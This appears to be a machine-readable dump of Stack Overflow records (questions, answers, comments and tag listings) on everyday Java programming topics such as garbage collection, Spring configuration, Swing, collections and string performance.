answers question: http://stackoverflow.com/q/22238050
has comment: http://stackoverflow.com/comment/33771367
has comment: http://stackoverflow.com/comment/33773799
has body: Are you able to authenticate successfully? I use the following codes to create twitter object: Try it! public static ConfigurationBuilder confBuilder = null; public static Configuration config = null; public static Twitter twitterObj = null; confBuilder = new twitter4j.conf.ConfigurationBuilder(); confBuilder.setDebugEnabled(true); confBuilder.setOAuthConsumerKey(consumerKey); confBuilder.setOAuthConsumerSecret(consumerSecret); confBuilder.setOAuthAccessToken(accessToken); confBuilder.setOAuthAccessTokenSecret(accessTokenSecret); config = confBuilder.build(); twitter4j.TwitterFactory tf = new twitter4j.TwitterFactory(config); twitterObj = tf.getInstance();
score: 0
has comment: http://stackoverflow.com/comment/33782780

http://stackoverflow.com/q/22243487
has body: On our server, we started to have problems with OutOfMemoryError. We analyzed the heap dumps using Eclipse Memory Analysis, and found, that many objects were held to do finalization (about 2/3 of the heap): We found, that it could be some finalize() method blocking. I found several bug reports of this problem (here or here), and it always manifested itself in the Finalizer thread stack, that it was blocked somewhere. But in our case, this thread was WAITING: "Finalizer" daemon prio=10 tid=0x43e1e000 nid=0x3ff in Object.wait() [0x43dfe000] java.lang.Thread.State: WAITING (on object monitor) at java.lang.Object.wait(Native Method) - waiting on &lt;0x4fe053e8&gt; (a java.lang.ref.ReferenceQueue$Lock) at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:133) - locked &lt;0x4fe053e8&gt; (a java.lang.ref.ReferenceQueue$Lock) at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:149) at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:189) EDIT: We then tried to add -XX:+UseConcMarkSweepGC, but with no success, only the frequency of OutOfMemoryErrors diminished, so we first thought it helped. Finally, we suspected the JVM bug and upgraded from OpenJDK 1.6.0_30 to Oracle JDK 1.7.0_51, and the problem disappeared (at least it seems so, during last 4 hours the used heap does not grow). We do not remember any change in finalize method, nor did we upgrade any library, there were only minor developments during that time. The problem does not reproduce on our test server, with same configuration except that it is 64bit JVM while the production server is 32bit. The question is: what could be the cause for Objects not being finalized and Finalizer thread waiting for next object? Did we analyze the heap dump correctly? Thanks for all answers.
score: 7
tagged with: java
tagged with: garbage-collection
has answer: http://stackoverflow.com/a/22480492
upvote count: 7
has comment: http://stackoverflow.com/comment/33875801
type: Question
linked to: http://stackoverflow.com/q/25489639
tagged with: finalize
answer count: 2
has comment: http://stackoverflow.com/comment/33780590
downvote count: 0
favorite count: 0
has title: Objects not being finalized and Finalizer thread not doing anything
has answer: http://stackoverflow.com/a/38545634
tagged with: out-of-memory
type: UnansweredQuestion

http://stackoverflow.com/comment/33889049
has text: As to what errors I see, an exception is thrown.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22303777

file
tags question: http://stackoverflow.com/q/22212492
tags question: http://stackoverflow.com/q/22190474
type: Tag
tags question: http://stackoverflow.com/q/22279730
tags question: http://stackoverflow.com/q/22179587
tags question: http://stackoverflow.com/q/22289977
tags question: http://stackoverflow.com/q/22316401
tags question: http://stackoverflow.com/q/22225959
tags question: http://stackoverflow.com/q/22278647
tags question: http://stackoverflow.com/q/22270687
tags question: http://stackoverflow.com/q/22211832
tags question: http://stackoverflow.com/q/22194764
tags question: http://stackoverflow.com/q/22178796
tags question: http://stackoverflow.com/q/22194952
tags question: http://stackoverflow.com/q/22296729
tags question: http://stackoverflow.com/q/22327425
tags question: http://stackoverflow.com/q/22200837
tags question: http://stackoverflow.com/q/22258654
tags question: http://stackoverflow.com/q/22305310
tags question: http://stackoverflow.com/q/22275010
tag name: file
tags question: http://stackoverflow.com/q/22305773
tags question: http://stackoverflow.com/q/22307096
tags question: http://stackoverflow.com/q/22308532
tags question: http://stackoverflow.com/q/22270576
tags question: http://stackoverflow.com/q/22226490
tags question: http://stackoverflow.com/q/22217160
tags question: http://stackoverflow.com/q/22320806
tags question: http://stackoverflow.com/q/22269668
tags question: http://stackoverflow.com/q/22280508
tags question: http://stackoverflow.com/q/22177570
tags question: http://stackoverflow.com/q/22222724
tags question: http://stackoverflow.com/q/22247711
tags question: http://stackoverflow.com/q/22262492
tags question: http://stackoverflow.com/q/22283881
tags question: http://stackoverflow.com/q/22240905
tags question: http://stackoverflow.com/q/22249093
tags question: http://stackoverflow.com/q/22268011
tags question: http://stackoverflow.com/q/22241812
tags question: http://stackoverflow.com/q/22315239
tags question: http://stackoverflow.com/q/22251410
tags question: http://stackoverflow.com/q/22316279
tags question: http://stackoverflow.com/q/22290373

http://stackoverflow.com/a/22199228
downvote count: 0
has body: In order to access your WebService over the internet, you need it to be hosted on a Java hosting provider. If you have a static IP, you can try to host it yourself although I would not recommend it. You can do a quick google search for java web hosts if you want to find one, but they aren't usually free. ( See related SO post )
type: AcceptedAnswer
upvote count: 2
type: Answer
score: 2
answers question: http://stackoverflow.com/q/22198624
accepted answer of: http://stackoverflow.com/q/22198624

http://stackoverflow.com/a/22316068
has body: This is just a mathematical algorithm. 1. Define the point(x,y) is on the circle which has a centre point of(centerX,centerY) 2.The distance of these two points is the radius,named r. 3. r = Math.sqrt(Math.pow(x-centerX),2)+Math.pow(y-centerY,2)); 4. Math.abs(y-centerY) = Math.sqrt(Math.pow(r,2)-Math.pow(x-centerX,2)) 5. y= centerY ± Math.sqrt(Math.pow(r,2)-Math.pow(x-centerX,2)) 6. As you know the X＇s value is[centerX-r,centerX+r] 7.So you can calculate the y´s value and then points one the circle (x,y) are figured out.
has comment: http://stackoverflow.com/comment/33999525
has comment: http://stackoverflow.com/comment/34001247
score: 0
answers question: http://stackoverflow.com/q/22315537
type: Answer

http://stackoverflow.com/q/22192873
tagged with: ant
tagged with: java
has title: Error importing bean definitions inside jar file
score: 0
has answer: http://stackoverflow.com/a/22399679
answer count: 1
tagged with: spring
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22399679
type: Question
has body: I have two project. One is Project-A which contains database operations java codes and spring bean definition xml files. The structure is: resources/base is source folder and configure is a package inside that source folder. base-definitions.xml loads remaining xml files [dao-service-definitions.xml and transaction-definition.xml] like following. base-definitions.xml &lt;import resource="classpath:configure/dao-service-definitions.xml"/&gt; &lt;import resource="classpath:configure/transaction-definition.xml"/&gt; Then I built jar file of that project including spring bean definiton files using Ant. I used zipfileset to set xml files directory inside jar file. The structure is same as above picture. resources\base\configure\[xml files] build.xml &lt;zipfileset dir="../resources/base/configure" includes="*.*" prefix="resources/base/configure" /&gt; In the another Project-B, I imported jar file and set classpath. Then import base-definitions.xml from Project-A into another xml in Project-B. &lt;import resource="classpath*:**/base-definitions.xml"/&gt; Problem: The problem is base-definitions.xml is found but can't find definition files imported in that. Extracted Errors: org.springframework.beans.factory.parsing.BeanDefinitionParsingException: Configuration problem: Failed to import bean definitions from URL location [classpath*:**/base-definitions.xml] Failed to import bean definitions from URL location [classpath:configure/dao-service-definitions.xml] class path resource [configure/dao-service-definitions.xml] cannot be opened because it does not exist What am I doing wrong? Thank you for your precious time.

http://stackoverflow.com/comment/33757150
type: QuestionComment
type: Comment
has text: Does this happen for all code -- java.*, third-party, yours?
comment on: http://stackoverflow.com/q/22227289
score: 0

http://stackoverflow.com/a/22263414
downvote count: 0
has body: for(int i = 0; str.contains("&lt;&lt; a"+i+" &gt;&gt;"), i++) { str = str.replace("&lt;&lt; a"+i+" &gt;&gt;", a[i]); }
upvote count: 2
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/22263273
has comment: http://stackoverflow.com/comment/33839297
answers question: http://stackoverflow.com/q/22263273
type: AcceptedAnswer

http://stackoverflow.com/comment/33705285
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22201595
has text: sorry i didn't get you, do you mean the space should not be count ?
type: Comment

http://stackoverflow.com/q/22251798
has comment: http://stackoverflow.com/comment/33794678
has answer: http://stackoverflow.com/a/22252009
type: Question
score: 0
tagged with: java
accepted answer: http://stackoverflow.com/a/22252009
answer count: 1
has title: The method setValue(String) in the type OptionTag is not applicable for the arguments (Object)
tagged with: struts
type: AnsweredQuestion
tagged with: jsp
has body: I have the below code in my JSP. The problem is while i run this code, i get the below exception: The method setValue(String) in the type OptionTag is not applicable for the arguments (Object). Does anyone have an idea? &lt;html:select property="selectedServices" name="specificStoreForm" multiple="true" styleClass="services"&gt; &lt;logic:iterate id="service" name="services" property="selectedServices"&gt; &lt;bean:define id="textVal" name="service" property="value" toScope="request"/&gt; &lt;html:option value="&lt;%=textVal%&gt;"&gt; &lt;bean:write name="service" property="label"/&gt; &lt;/html:option&gt; &lt;/logic:iterate&gt; &lt;/html:select&gt;

http://stackoverflow.com/q/22299358
has answer: http://stackoverflow.com/a/22299827
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/22299637
favorite count: 0
has comment: http://stackoverflow.com/comment/33880711
has answer: http://stackoverflow.com/a/22299545
type: Question
has body: overriding case: class a{ public void m() {} } class b extends a { @override public void m(){} } hiding case : class a { public static void m(){} } class b extends a{ public static void m(){} } is this one instance method hiding another? interface i { void m(); } interface j { void m(); } class a implements i,j { void m(){} } Can a instance method hide another instance method?
linked to: http://stackoverflow.com/q/9714880
score: 1
answer count: 6
accepted answer: http://stackoverflow.com/a/22299827
upvote count: 1
has comment: http://stackoverflow.com/comment/33880813
has comment: http://stackoverflow.com/comment/33880779
has title: in Java can one instance method hide another method?
tagged with: java
has answer: http://stackoverflow.com/a/22299442
has answer: http://stackoverflow.com/a/22299501
possible better answer: http://stackoverflow.com/a/22299458
has comment: http://stackoverflow.com/comment/33880978
has answer: http://stackoverflow.com/a/22299458

http://stackoverflow.com/q/22184489
downvote count: 1
has comment: http://stackoverflow.com/comment/33674480
type: Question
has answer: http://stackoverflow.com/a/22184548
score: -1
upvote count: 0
possible better answer: http://stackoverflow.com/a/22184528
has answer: http://stackoverflow.com/a/22184528
favorite count: 0
has comment: http://stackoverflow.com/comment/33673953
has comment: http://stackoverflow.com/comment/33674672
has title: key - value mapping in a HashMap
has body: Whenever I wanted to use a general purpose data structure like a Set or Map in Java, I was presented with HashSet and HashMap. Upon searching more about these, I've read about the hash table that sits at the base of them. So I learned that, in order to map a key to its corresponding value, it uses a hash function. My question is: why not use a simple by-index correspondence? I tried to answer myself but I'm not sure of the correctness of the advantages: by-index + faster, since there's no computation involved + collision-free by-hash + memory economy, since a third array would be needed to correlate the keys and values But I always thought that a few flops are more precious than a few bytes. Anyway, I don't think there is such a DS in Java as a simple IndexMap, is it? What am I missing here? EDIT: By by-index I mean this: an array is by construction an ordered structure, it has indices; so having 2 arrays to correlate, say, keys[] and values[] would mean keys[i] corresponds to values[i]. So, no relation function needed. I'm surely missing something here and I want to see what.
accepted answer: http://stackoverflow.com/a/22184548
has comment: http://stackoverflow.com/comment/33673954
tagged with: hashtable
has comment: http://stackoverflow.com/comment/33673979
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22184751
has answer: http://stackoverflow.com/a/22184688
tagged with: java

http://stackoverflow.com/comment/33749763
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/22226947
has text: Hi. Do you use any service activator (or any other consumer) that should get stream? Or you could not start any tcp server?

http://stackoverflow.com/comment/33902014
type: Comment
has text: Thank you for your effort but both of your methods seem to return false, even if the `currentTime` is before `endTime` but I see why this doesn't work now.
comment on: http://stackoverflow.com/a/22310412
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33749167
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22226490
score: 0
has text: Have a look at [In Java, what is the default location for newly created files?](http://stackoverflow.com/questions/5154529/in-java-what-is-the-default-location-for-newly-created-files)

http://stackoverflow.com/q/22207772
answer count: 3
tagged with: exception
has body: What is difference between ClassNotFoundException and NoClassDefFoundError? can any one able to explain through some example..
has answer: http://stackoverflow.com/a/22207773
has answer: http://stackoverflow.com/a/22208289
score: 0
has comment: http://stackoverflow.com/comment/33715443
possible better answer: http://stackoverflow.com/a/22208528
linked to: http://stackoverflow.com/q/1457863
has answer: http://stackoverflow.com/a/22208528
type: Question
type: AnsweredQuestion
has title: What is difference between ClassNotFoundException and NoClassDefFoundError?
accepted answer: http://stackoverflow.com/a/22207773
tagged with: java
duplicate of: http://stackoverflow.com/q/1457863

http://stackoverflow.com/comment/33827312
type: QuestionComment
comment on: http://stackoverflow.com/q/22269760
type: Comment
has text: Yes, there are other ways, and generally speaking, the sort of infinite loop you have (called a *spin*) is the worst way to implement waiting, because it makes the computer do lots of useless work instead of doing something else or going into power-save mode.
score: 1

http://stackoverflow.com/q/22224237
upvote count: 2
tagged with: multithreading
has comment: http://stackoverflow.com/comment/33744653
has comment: http://stackoverflow.com/comment/33745238
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22285065
tagged with: java
has body: I have two almost identical classes that find next fibonacci number. The difference is that one of them uses intrinsic locking and the other uses explicit locking. Instrinsic locking implementation is much more faster than the one with explicit locking and also faster than STM or lock free implementations. Impl/Threads | 1 | 2 | 4 | 8 | 16 | --- | --- | --- | --- | --- | --- | IntrinsicLocking | 4959 | 3132 | 3458 | 3059 | 3402 | ExplicitLocking | 4112 | 5348 | 6478 | 12895 | 13492 | STM | 5193 | 5210 | 4899 | 5259 | 6733 | LockFree | 4362 | 3601 | 3660 | 4732 | 4923 | The table shows average time of single computation of next fibonacci number. Tested on java 8 and 7. Code is placed on github https://github.com/f0y/fibench/tree/master/src/main/java/fibonacci/mdl Can someone explain why intrinsic locking implementation wins?
tagged with: concurrency
type: Question
tagged with: benchmarking
tagged with: locking
has comment: http://stackoverflow.com/comment/33747025
answer count: 1
downvote count: 0
has title: Explicit vs intrinsic locking degradation in java
has answer: http://stackoverflow.com/a/22285065
favorite count: 0
score: 2

http://stackoverflow.com/comment/33670467
comment on: http://stackoverflow.com/q/22182534
has text: What you need is to create a custom comparator and have the logic of sorting inside it depending on the scenario. Now if you are looking for how to write a custom comparator, there are a large number of examples online. But if you are looking for the logic of how to sort, that is a different issue which would require more input from you
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33727935
type: AnswerComment
has text: Even defining a as an int results in -14.
type: Comment
comment on: http://stackoverflow.com/a/22214475
score: 0

http://stackoverflow.com/a/22244296
answers question: http://stackoverflow.com/q/22241841
type: Answer
upvote count: 1
has body: What is pageContent? It appears to be a String. One easy optimization to make right away would be to use a StringBuilder instead; it can append strings without having to make completely new copies of the strings like Strings += does (you can also construct it with an initial reserved capacity to reduce memory reallocations and copies if you have an idea of the length to begin with). Concatenating Strings is a slow operation because strings are immutable in Java; each time you call a += b it must allocate a new string, copy a into it, then copy b into the end of it; making each concatenation O(n) wrt. total length of the two strings. Same goes for appending single characters. StringBuilder on the other hand has the same performance characteristics as an ArrayList when appending. So where you have: pageContent += chars.getData() + '\n'; Instead change pageContent to a StringBuilder and do: pageContent.append(chars.getData()).append('\n'); Also if you have a guess on the upper bound of the length of one of these strings, you can pass it to the StringBuilder constructor to allocate an initial amount of capacity and reduce the chance of a memory reallocation and full copy having to be done. Another option, by the way, is to skip the StringBuilder altogether and write your data directly to your output file (presuming you're not processing the data somehow first). If you do this, and performance is I/O-bound, choosing an output file on a different physical disk can help.
type: AcceptedAnswer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/22241841

http://stackoverflow.com/comment/109243948
type: AnswerComment
has text: Thank you. My collation was utf8 but my table columns were something else and running this command on each column in question allowed me to insert utf8 characters: ALTER TABLE target_table_name MODIFY target_column TEXT CHARACTER SET utf8;
type: Comment
comment on: http://stackoverflow.com/a/22220644
score: 0

http://stackoverflow.com/a/35080705
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/58139057
type: Answer
has body: I had tried to do the same thing, but in a web start application. I needed to have java.util.logging set to FINEST in order to find some problems in the application. It didn't matter what I did, the Swing logging just kept on spewing. Your question, and investigation that you had done helped me solving the problem, albeit in a very ugly way, but I only needed it temporarily. I grabbed the system loggers using reflection: public static void tryToChangeSystemLogContextLoggers() { try { Field systemContextField = LogManager.class.getDeclaredField("systemContext"); systemContextField.setAccessible(true); Object systemContext = systemContextField.get(LogManager.getLogManager()); Method demandLoggerMethod = systemContext.getClass().getDeclaredMethod("demandLogger", String.class, String.class); demandLoggerMethod.setAccessible(true); java.util.logging.Logger logger = (java.util.logging.Logger)demandLoggerMethod.invoke(systemContext, "java.awt", null); logger.setLevel(java.util.logging.Level.WARNING); logger.setUseParentHandlers(false); logger = (java.util.logging.Logger)demandLoggerMethod.invoke(systemContext, "sun.awt", null); logger.setLevel(java.util.logging.Level.WARNING); logger.setUseParentHandlers(false); logger = (java.util.logging.Logger)demandLoggerMethod.invoke(systemContext, "javax.swing", null); logger.setLevel(java.util.logging.Level.WARNING); logger.setUseParentHandlers(false); } catch (Exception e) { //Well, I tried } } The code is fragile, and might not work in all java version.
accepted answer of: http://stackoverflow.com/q/22312245
answers question: http://stackoverflow.com/q/22312245

http://stackoverflow.com/comment/33677294
comment on: http://stackoverflow.com/q/22186290
score: 5
has text: the points you've traversed don't need to be put onto the stack. You can store it any way you want to just make sure you dont visit the same place twice. The things you should push onto the stack should be all the neighbors of the square you are currently in
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22211168
has body: I have a program that uses jCheckBoxes. basically, each checkbox controls a number of other checkboxes. I need the parent checkbox to be in the indeterminate state if the other checkboxes do not all contain the same value. But if the user clicks the indeterminate checkbox, they should be able to cycle between checked and unchecked only (i.e. they cannot switch back to indeterminate), which would in turn change the values of all the other boxes to match. Similarly, if the user changes the value of one of the sub check boxes, the parent checkbox should switch back to indeterminate. How can I accomplish this? Thanks in advance!
has comment: http://stackoverflow.com/comment/33722031
score: 0
linked to: http://stackoverflow.com/q/1263323
has comment: http://stackoverflow.com/comment/33722916
has title: set a jCheckBox to indeterminate
answer count: 0
type: UnansweredQuestion
tagged with: swing
has comment: http://stackoverflow.com/comment/33721989
tagged with: java
type: Question
tagged with: jcheckbox

memory
tags question: http://stackoverflow.com/q/22187906
tag name: memory
tags question: http://stackoverflow.com/q/22302518
tags question: http://stackoverflow.com/q/22175930
tags question: http://stackoverflow.com/q/22257700
tags question: http://stackoverflow.com/q/22239279
type: Tag
tags question: http://stackoverflow.com/q/22180377

http://stackoverflow.com/comment/33872508
type: QuestionComment
has text: The crash appears to be in MyEclipse code, you may need to try their support.
score: 0
comment on: http://stackoverflow.com/q/22294282
type: Comment

http://stackoverflow.com/a/22269926
accepted answer of: http://stackoverflow.com/q/22269908
type: Answer
upvote count: 3
has body: Add a space to your query String selectqry="select * from raildb "+ "WHERE id=?"; ^
score: 3
answers question: http://stackoverflow.com/q/22269908
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/22290533
type: Answer
has comment: http://stackoverflow.com/comment/33865636
has body: Your output is as expected, just formatted to be one line instead of multiple ones.
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33865720
answers question: http://stackoverflow.com/q/22290457
has comment: http://stackoverflow.com/comment/33865560
has comment: http://stackoverflow.com/comment/33865667
upvote count: 1
has comment: http://stackoverflow.com/comment/33865625
has comment: http://stackoverflow.com/comment/33865545

http://stackoverflow.com/q/22275668
has answer: http://stackoverflow.com/a/22275678
tagged with: paintcomponent
linked to: http://stackoverflow.com/q/21541991
has comment: http://stackoverflow.com/comment/33840919
type: UnansweredQuestion
tagged with: concurrentmodification
has comment: http://stackoverflow.com/comment/33838710
tagged with: java
has body: I'm making a game. Each object in the game is registered in a registry. I have an update and render method being called by a game loop. The render method calls repaint() on my JPanel and I have overridden paintComponent(Graphics g) for graphics. When it renders and updates, it goes through each object and updates it and renders it from the registry. Sometimes I get a concurrent modification error, and i believe it is because something is calling the paintComponent() other than from my game loop. If a JPanel or even JFrame calls repaint on its own, is there any way to disable it?
tagged with: swing
has answer: http://stackoverflow.com/a/22277515
type: Question
has comment: http://stackoverflow.com/comment/33841974
tagged with: graphics
has comment: http://stackoverflow.com/comment/33838467
has title: Does the repaint() get called automatically sometimes?
score: 0
answer count: 2

http://stackoverflow.com/a/22199581
score: 0
has body: It's a bad idea to try to add out-of-band metadata to a web service. Just pick a new URL for each version if the data structures are incompatible. If they are compatible, put the version number inside the request. This way you can still support interoperation with all different libraries and not require your clients to find a new hoop to jump through for each toolkit.
has comment: http://stackoverflow.com/comment/33701037
answers question: http://stackoverflow.com/q/22197593
type: Answer
has comment: http://stackoverflow.com/comment/33701513

http://stackoverflow.com/q/22195637
has title: Why couldn't I see data committed to Postgres database from spring hibernate program?
upvote count: 1
tagged with: spring
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33693948
has answer: http://stackoverflow.com/a/22200694
tagged with: java
tagged with: hibernate
has comment: http://stackoverflow.com/comment/33701063
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/33704817
downvote count: 0
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22197199
has body: I am trying to program using spring, JPAhibernate, and Postgres. There is no error running the program, and it successfully inserted data showing from client browser. However, Postgres database says relation "person" does not exist (My table name is "person"), which I think it means data is not committed to database. I tried clean browser cache, and restart server. But program can still retrieve correct items. It looks like they are stored in the database. set the hibernate.hbm2ddl.auto to be "validate" or "create-drop" or "update". But I can't see updated data in the database, even the table "person" doesn't exist. Can anyone explain me why it's like this, or how can I see committed data in the database? Thank you.
tagged with: postgresql
accepted answer: http://stackoverflow.com/a/22200694
possible better answer: http://stackoverflow.com/a/22197199

http://stackoverflow.com/comment/33730381
type: Comment
type: QuestionComment
has text: have you created the snakeBodyParts?
score: 0
comment on: http://stackoverflow.com/q/22215957

http://stackoverflow.com/q/22277289
tagged with: java
has comment: http://stackoverflow.com/comment/33841557
linked to: http://stackoverflow.com/q/27581
has title: Comparison between abstract objects yields wonky error
has answer: http://stackoverflow.com/a/22277434
has comment: http://stackoverflow.com/comment/33841544
has comment: http://stackoverflow.com/comment/33841586
type: AnsweredQuestion
type: Question
answer count: 2
has body: Numbers a,b; a = new NumbersType(1); b = new NumbersType(1); System.out.println(a.equals(b)); public class NumbersType implements Numbers { int intType; public NumbersType (int q) { this.intType = q; } public boolean equals(Numbers n) { return this == n; } } public interface Numbers { public boolean equals(Numbers n); } This prints false, despite both objects being the same thing. Changing return this == n to return this.intType == n.intType yields error "cannot find symbol: variable intType, location: variable n of type Numbers". I'm fairly new to ADT and still making my way around it, so excuse me if this is a simple question. I'm not sure why it doesn't work, however, and why I cannot reference n.intType but I can this.intType.
possible better answer: http://stackoverflow.com/a/22277357
tagged with: abstract-data-type
has answer: http://stackoverflow.com/a/22277357
accepted answer: http://stackoverflow.com/a/22277434
score: 0

http://stackoverflow.com/a/22541678
answers question: http://stackoverflow.com/q/22319601
type: Answer
score: 2
upvote count: 2
has body: Well What you need is Two different activity Where first One Detects your Shake which need to run all time in background and than call the new actual app you want to run on shake. You can run your background activity you have to use class which will keep your activity run in background for long time(Continuously) you can use classes Like FutureTask or Executor (you can not use AsyncTask for this). Whenever the thread passes command to Your Application open after Shake the Background process stops and command goes to app means you need to again immediately start background process after the actual app closed.
downvote count: 0

http://stackoverflow.com/comment/33820901
comment on: http://stackoverflow.com/q/22265872
has text: What is the question ?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33697388
type: Comment
score: 1
type: QuestionComment
has text: Are you looking for .clone() perhaps? It's difficult to understand your problem.
comment on: http://stackoverflow.com/q/22198110

http://stackoverflow.com/comment/33791040
comment on: http://stackoverflow.com/a/22224184
type: Comment
has text: Ok let me summarize some things and please tell whether I am right or not. The simplest possibility we have is to create a class "Assets" with only static members like this "public static Pixmap background". In our loading routine we load the assets like this "Assets.background = game.getGraphics.newPixmap("background.png", PixmapFormat.RGB565)". Now all assets are loaded and we can use them whenever and wherever we want. But what are the disadvantages? We run pretty fast out of memory because everything has to be loaded at the beginning disregarding when we want to use the specific asset.
score: 0
type: AnswerComment

http://stackoverflow.com/q/22254345
score: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/22254461
type: Question
has answer: http://stackoverflow.com/a/22254495
has answer: http://stackoverflow.com/a/22254461
accepted answer: http://stackoverflow.com/a/22254416
has title: How Do I Model My Results Using Java Collections?
upvote count: 1
tagged with: java
has answer: http://stackoverflow.com/a/22254416
has body: I have an application which is using Drools Expert to evaluate some rules. The results will be of this type: String, String, Integer A typical result example is: "Rule 1", "RED", 1 "Rule 2", "AMBER", 2 "Rule 3", "GREEN", 1 "Rule 4", "INFO", 3 The first element is a key. So I am thinking of using a Map structure. The last field is an integer specified via an enum. I want to be able to pick from this list of results the rule with the maximum priority (which is the last field). What is the best way to structure this in terms of using the Java collections library? Is the Map the best?
answer count: 4
has answer: http://stackoverflow.com/a/22254476
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33799590
downvote count: 0

http://stackoverflow.com/comment/33689870
comment on: http://stackoverflow.com/a/22193097
type: Comment
has text: Thank you for your suggestion. The machine problem requires it prints the entire ASCII table including non-printable characters and whitespace. Should the requirements need it, your tip would be useful. Upvoted.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33744418
has text: post your code and i'll tell you what to do?
comment on: http://stackoverflow.com/q/22224371
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33792915
type: Comment
type: QuestionComment
has text: Sure, have a moment please;)
comment on: http://stackoverflow.com/q/22250742
score: 0

http://stackoverflow.com/q/22258168
has body: First of all excuse my stupid knowledge of android, because I'm new in it. We have some codes here that changes tabs with swipe gesture with 3 Fragments that named: "Top Rated", "Games", "Movies". This is the source codes Here is MainActivity activity: public class MainActivity extends FragmentActivity implements ActionBar.TabListener { private ViewPager viewPager; private TabsPagerAdapter mAdapter; private ActionBar actionBar; // Tab titles private String[] tabs = { "Top Rated", "Games", "Movies" }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Initilization viewPager = (ViewPager) findViewById(R.id.pager); actionBar = getActionBar(); mAdapter = new TabsPagerAdapter(getSupportFragmentManager()); viewPager.setAdapter(mAdapter); actionBar.setHomeButtonEnabled(false); actionBar.setNavigationMode(ActionBar.NAVIGATION_MODE_TABS); // Adding Tabs for (String tab_name : tabs) { actionBar.addTab(actionBar.newTab().setText(tab_name) .setTabListener(this)); } /** * on swiping the viewpager make respective tab selected * */ viewPager.setOnPageChangeListener(new ViewPager.OnPageChangeListener() { @Override public void onPageSelected(int position) { // on changing the page // make respected tab selected actionBar.setSelectedNavigationItem(position); } @Override public void onPageScrolled(int arg0, float arg1, int arg2) { } @Override public void onPageScrollStateChanged(int arg0) { } }); } @Override public void onTabReselected(Tab tab, FragmentTransaction ft) { } @Override public void onTabSelected(Tab tab, FragmentTransaction ft) { // on tab selected // show respected fragment view viewPager.setCurrentItem(tab.getPosition()); } @Override public void onTabUnselected(Tab tab, FragmentTransaction ft) { } } With this adapter public class TabsPagerAdapter extends FragmentPagerAdapter { public TabsPagerAdapter(FragmentManager fm) { super(fm); } @Override public Fragment getItem(int index) {…
score: 0
tagged with: android
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/33806918
has title: Fragment (swipe) and Button listener issue
has comment: http://stackoverflow.com/comment/33808491
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33807262
tagged with: android-fragments
tagged with: java
has answer: http://stackoverflow.com/a/23533698
has comment: http://stackoverflow.com/comment/33808059
type: Question
answer count: 1

http://stackoverflow.com/q/22182669
has comment: http://stackoverflow.com/comment/33747992
linked to: http://stackoverflow.com/q/214741
has answer: http://stackoverflow.com/a/22336360
has comment: http://stackoverflow.com/comment/33670627
has comment: http://stackoverflow.com/comment/33727206
has comment: http://stackoverflow.com/comment/33721189
has comment: http://stackoverflow.com/comment/33673152
has comment: http://stackoverflow.com/comment/33688697
has comment: http://stackoverflow.com/comment/33712311
answer count: 10
has title: What actually causes a Stack Overflow error?
duplicate of: http://stackoverflow.com/q/214741
favorite count: 0
has comment: http://stackoverflow.com/comment/33723974
has answer: http://stackoverflow.com/a/22196578
has comment: http://stackoverflow.com/comment/33743970
linked to: http://stackoverflow.com/q/21303382
score: 237
has comment: http://stackoverflow.com/comment/33741677
has answer: http://stackoverflow.com/a/22182830
accepted answer: http://stackoverflow.com/a/22182774
has comment: http://stackoverflow.com/comment/33695285
has comment: http://stackoverflow.com/comment/33677070
has comment: http://stackoverflow.com/comment/33727100
has answer: http://stackoverflow.com/a/22222274
has comment: http://stackoverflow.com/comment/33670592
type: Question
type: AnsweredQuestion
has body: I've looked everywhere and can't find a solid answer. According to the documentation, Java throws a java.lang.StackOverflowError error under the following circumstance: Thrown when a stack overflow occurs because an application recurses too deeply. But this raises two questions: Aren't there other ways for a stack overflow to occur, not only through recursion? Does the StackOverflowError happen before the JVM actually overflows the stack or after? To elaborate on the second question: When Java throws the StackOverflowError, can you safely assume that the stack did not write into the heap? If you shrink the size of the stack or heap in a try/catch on a function that throws a stack overflow, can you continue working? Is this documented anywhere? Answers I am not looking for: A StackOverflow happens because of bad recursion. A StackOverflow happens when the heap meets the stack.
has comment: http://stackoverflow.com/comment/33670731
has answer: http://stackoverflow.com/a/22223113
has comment: http://stackoverflow.com/comment/33677833
tagged with: java
has answer: http://stackoverflow.com/a/22182840
has answer: http://stackoverflow.com/a/22182774
has comment: http://stackoverflow.com/comment/33733446
has comment: http://stackoverflow.com/comment/33716023
downvote count: 2
has answer: http://stackoverflow.com/a/22183286
linked to: http://stackoverflow.com/q/11435613
has answer: http://stackoverflow.com/a/22183172
possible better answer: http://stackoverflow.com/a/22182840
has comment: http://stackoverflow.com/comment/33678337
upvote count: 239
has comment: http://stackoverflow.com/comment/33729995
linked to: http://stackoverflow.com/q/27551338
has answer: http://stackoverflow.com/a/22193393
